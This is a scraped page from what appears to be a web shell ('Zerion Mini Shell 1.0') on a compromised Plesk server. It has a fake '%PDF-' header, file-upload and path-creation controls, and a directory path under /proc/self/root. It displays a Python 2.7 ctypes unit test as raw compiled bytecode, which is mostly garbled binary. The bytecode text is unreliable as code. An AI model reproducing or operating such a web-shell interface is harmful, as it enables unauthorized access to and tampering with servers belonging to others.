%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pyo

�
5}�ac@s�ddlZddlZddlTyeWnek
rCeZnXddlZeej�Z	dej
fd��YZedkr�ej
�ndS(i����N(t*tCFuncPtrTestCasecBs5eZd�Zd�Zd�Zd�Zd�ZRS(cCs�tttt�}d�}||�}|j|jt�|j|jttf�|jt|�tt��|jt|�tt��dS(NcWs
t|�S(N(tlen(targs((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pytfuncs(tWINFUNCTYPEtc_inttassertEqualtrestypetargtypestsizeoftc_voidp(tselftXRtx((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pyt
test_basics	cCs�tttt�}tttt�}d�}||�}||�}|j|dd�d�|j|dd�d�|j|dddddd�d�ttk	r�tjdkr�|jt|ddd�ndS(	NcSs||S(N((tatb((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pyRsiiiiiitce(RRt	CFUNCTYPERtostnametassertRaisest	TypeError(RtStdCallbackt
CdeclCallbackRtstc((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pyt
test_firsts	%cs�tttttt��d�}t�t�t�t�dtf�����fd��Y}|�}�|�|_tttttt�}|j�|�|j|jdddd�d�|j}~~|j|dd	d
d�d�dS(
NcSs||||S(N((thwndtmsgtwParamtlParam((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pytwndproc0stWNDCLASSc
s_eZdefd�fdefdefd�fd�fd�fd�fd�fg	ZRS(	tstyletlpfnWndProct
cbClsExtrat
cbWndExtrat	hInstancethIconthCursortlpszMenuNamet
lpszClassName(t__name__t
__module__tc_uintRt_fields_((tHCURSORtHICONt	HINSTANCEtLPCTSTRtWNDPROC(sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pyR"8s								iiiii
iii
i.(Rtc_longRtc_char_pt	StructureR$tassertIsR(RR!R"twndclasst	WNDPROC_2tf((R0R1R2R3R4sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pyttest_structures-s 	(	"	cCs�d�}tj}t|_ttf|_|j|dd�d�|j|dd�d�tj}t|_d�}d}||�}|j||d�d	�|j|dd�d�|j|dd�d
�|j|dd�d�dS(NcSs|st��n|S(N(tWinError(tvalue((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pytNoNullHandle\st	abcdefghiRtbcdefghiRcSst|�d}t||�S(Ni(Rtc_char(tinittsize((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pytc_stringnssa
b
cs
RR(	tlibt	my_strchrR6RRBR	RtNonet	my_strtok(RR?tstrchrtstrtokRERR((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pyttest_dllfunctionsZs						cCs0ddlm}|jt|dddd�dS(Ni����(t	_CFuncPtri
Ri*tiid(tctypesRMRR(RRM((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pyt
test_abstract~s(R,R-RRR<RLRP(((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pyR
s
			-	$t__main__(RtunittestRORt	NameErrorRt_ctypes_testtCDLLt__file__RFtTestCaseRR,tmain(((sA/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_funcptr.pyt<module>s


v

Zerion Mini Shell 1.0